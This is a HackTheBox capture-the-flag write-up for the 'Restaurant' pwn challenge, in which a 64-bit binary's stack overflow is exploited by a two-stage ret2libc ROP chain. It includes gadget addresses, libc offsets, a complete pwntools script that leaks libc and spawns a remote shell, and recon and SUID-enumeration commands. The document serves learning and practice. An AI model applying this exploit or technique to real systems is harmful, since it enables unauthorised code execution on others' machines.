Restaurant
Restaurant
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: ret2libc, rop_chain, got_leak_via_puts, stack_alignment, two_stage_exploit
Summary
"Welcome to our Restaurant. Here, you can eat and drink as much as you want! Just don't overdo it.."
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260209_hackthebox_restaurant - Tags: buffer_overflow, libc_leak, ret2libc, rop, no_pie, stack_bof, no_canary, nx, full_relro, glibc_2.27, 64bit
- Indicators: read() size >> buffer size, no stack canary, NX enabled (no shellcode), no PIE (fixed addresses), Full RELRO (GOT not writable)
- Source:
20260209_hackthebox_restaurant.md
Foothold
Vulnerability / Misconfiguration
- Ret2libc
- Rop_chain
- Got_leak_via_puts
- Stack_alignment
- Two_stage_exploit
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- ret2libc
- rop_chain
- got_leak_via_puts
- stack_alignment
- two_stage_exploit
- Tags: buffer_overflow, libc_leak, ret2libc, rop, no_pie, stack_bof, no_canary, nx, full_relro, glibc_2.27, 64bit
Original Writeup
<details><summary>Click to expand original content</summary>Description
"Welcome to our Restaurant. Here, you can eat and drink as much as you want! Just don't overdo it.."
A 64-bit ELF binary for a "Rocky Restaurant" menu program. Choose to "Fill my dish" (option 1) or "Drink something" (option 2). The fill() function has a classic stack buffer overflow — 32-byte buffer but reads up to 1024 bytes. No canary, no PIE, NX enabled, Full RELRO. Bundled libc is GLIBC 2.27 (Ubuntu 18.04).
Remote: nc 154.57.164.65:30349
Files
restaurant— ELF 64-bit LSB executable, x86-64, dynamically linked, not strippedlibc.so.6— Ubuntu GLIBC 2.27-3ubuntu1.4
Analysis
Binary Properties
| Property | Value |
|---|---|
| Arch | x86-64 |
| RELRO | Full |
| Stack Canary | None |
| NX | Enabled |
| PIE | Disabled (base 0x400000) |
| Stripped | No |
| Compiler | GCC 7.5.0 |
| Libc | GLIBC 2.27-3ubuntu1.4 |
Key Addresses (Static — No PIE)
| Symbol | Address |
|---|---|
main | 0x400f68 |
fill | 0x400e4a |
drink | 0x400eed |
puts@PLT | 0x400650 |
puts@GOT | 0x601fa8 |
pop rdi; ret | 0x4010a3 |
ret | 0x40063e |
Libc Offsets (GLIBC 2.27)
| Symbol | Offset |
|---|---|
puts | 0x80aa0 |
system | 0x4f550 |
"/bin/sh" | 0x1b3e1a |
Program Flow
main()prints a menu banner for "Rocky Restaurant"- Prompts
>and reads choice viaread() - Option 1 —
fill(): Prints "You can add some ingredients to your dish:", reads input withread(0, buf, 0x400)into a 0x20-byte stack buffer — OVERFLOW - Prints
"Enjoy your %s"with the buffer contents (also leaks stack data up to first null byte) - Returns to main loop
- Option 2 —
drink(): Safe function, reads an integer withscanf("%d")
Vulnerability
In fill():
sub rsp, 0x20 ; 32-byte buffer
...
read(0, buf, 0x400) ; reads up to 1024 bytes!
- Buffer: 0x20 (32) bytes
- Read size: 0x400 (1024) bytes
- Overflow: 992 bytes past the buffer
- No canary to detect the overflow
- Offset to return address: 0x20 (buffer) + 0x08 (saved RBP) = 40 bytes
Why ret2libc?
- NX enabled → can't execute shellcode on the stack
- Full RELRO → can't overwrite GOT entries
- No PIE → PLT/GOT addresses are fixed, can use them in ROP chains
- No canary → free buffer overflow without leaking canary first
- Bundled libc → known offsets for
system,"/bin/sh", etc.
The only viable approach is ret2libc: use ROP to leak a libc address, calculate system() and "/bin/sh" addresses, then call system("/bin/sh").
Solution
Strategy: Two-Stage ret2libc
Since ASLR randomizes libc's base address, we need two passes through the vulnerable function:
Stage 1: Leak libc address → return to main()
Stage 2: Call system("/bin/sh") → shell
Stage 1: Leak libc via puts@GOT
- Select option 1 ("Fill my dish")
- Send 40 bytes padding + ROP chain:
[AAAA...40 bytes][pop rdi; ret][puts@GOT][puts@PLT][main]
- This executes:
puts(*(puts@GOT))— prints the runtime address ofputsin libc - Then returns to
main()for the second stage
Parsing the leak: After the overflow, printf("Enjoy your %s", buf) prints the 40 A's plus partial bytes of the first ROP gadget address (\xa3\x10\x40\x00... — null at byte 4 stops printf). Then puts() outputs the 6-byte libc address of puts followed by a newline.
recv "Enjoy your " → skip 40 bytes (A's) → skip 3 bytes (gadget leak) → recvline = puts address
- Calculate:
libc_base = leaked_puts - 0x80aa0
Stage 2: system("/bin/sh")
- Program is back in
main(), select option 1 again - Send 40 bytes padding + ROP chain:
[BBBB...40 bytes][ret][pop rdi; ret]["/bin/sh"][system]
-
The extra
retgadget is critical for 16-byte stack alignment —system()in GLIBC 2.27+ usesmovapswhich requires RSP to be 16-byte aligned. Without thisret, the exploit segfaults insidesystem(). -
Shell obtained →
cat flag*
Stack Alignment Detail
x86-64 System V ABI requires 16-byte stack alignment at function calls. After our ROP chain manipulates the stack, RSP may not be aligned. The ret gadget (which just pops 8 bytes off the stack) adjusts alignment:
Without alignment fix: With alignment fix:
RSP = ...8 (misaligned) RSP = ...0 (aligned)
→ movaps SEGFAULT → movaps OK
Exploit
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
HOST = '154.57.164.65'
PORT = 30349
elf = ELF('./restaurant')
libc = ELF('./libc.so.6')
POP_RDI = 0x4010a3 # pop rdi; ret
RET = 0x40063e # ret (stack alignment)
OFFSET = 0x20 + 8 # 32 bytes buffer + 8 bytes saved RBP = 40
def exploit():
p = remote(HOST, PORT)
# ================================================================
# STAGE 1: Leak puts@libc via GOT
# ================================================================
log.info("=== Stage 1: Leak libc ===")
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
payload = b'A' * OFFSET
payload += p64(POP_RDI)
payload += p64(elf.got['puts']) # rdi = &GOT[puts]
payload += p64(elf.plt['puts']) # puts(GOT[puts]) → leaks libc addr
payload += p64(elf.symbols['main']) # return to main for stage 2
p.sendline(payload)
# Parse the leak:
# printf("Enjoy your %s", buf) prints 40 A's + 3 bytes of POP_RDI addr
# (null byte at offset 4 of 0x004010a3 stops printf)
# Then puts() outputs the 6-byte libc address + newline
p.recvuntil(b'Enjoy your ')
p.recv(40) # skip A padding
p.recv(3) # skip partial gadget address bytes (\xa3\x10\x40)
leaked_line = p.recvline()
puts_leak = u64(leaked_line.strip().ljust(8, b'\x00'))
libc_base = puts_leak - libc.symbols['puts']
log.success(f'Leaked puts@libc: {hex(puts_leak)}')
log.success(f'libc base: {hex(libc_base)}')
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
log.info(f'system: {hex(system)}')
log.info(f'/bin/sh: {hex(bin_sh)}')
# ================================================================
# STAGE 2: system("/bin/sh")
# ================================================================
log.info("=== Stage 2: system('/bin/sh') ===")
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
payload2 = b'B' * OFFSET
payload2 += p64(RET) # stack alignment (for movaps in system)
payload2 += p64(POP_RDI)
payload2 += p64(bin_sh) # rdi = "/bin/sh"
payload2 += p64(system) # system("/bin/sh")
p.sendline(payload2)
log.success("Shell obtained!")
p.sendline(b'cat flag*')
p.interactive()
if __name__ == '__main__':
exploit()
Lessons Learned
-
Two-stage ret2libc is the bread and butter of 64-bit pwn — Stage 1 leaks libc (via
puts(GOT_entry)), stage 2 callssystem("/bin/sh"). This pattern works on any binary with no PIE + no canary + NX. -
Stack alignment matters on x86-64 — GLIBC 2.27+
system()uses SSE instructions (movaps) that require 16-byte aligned RSP. A single extraretgadget before the payload fixes alignment. Always include it when targetingsystem(). -
printf leak parsing requires understanding null bytes —
printf("%s", buf)stops at the first null byte. Sincep64(0x004010a3)=\xa3\x10\x40\x00\x00\x00\x00\x00, printf prints 40 A's + 3 bytes of the address, then stops. The actual libc leak comes from the subsequentputs()call. -
Full RELRO eliminates GOT overwrite — With Full RELRO, the GOT is mapped read-only after relocation. This forces ret2libc/ROP approaches instead of the simpler GOT overwrite technique.
-
Returning to
main()is the simplest loop — After the leak, returning tomain()restarts the menu, giving a clean second chance to exploit the same vulnerability with computed addresses.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR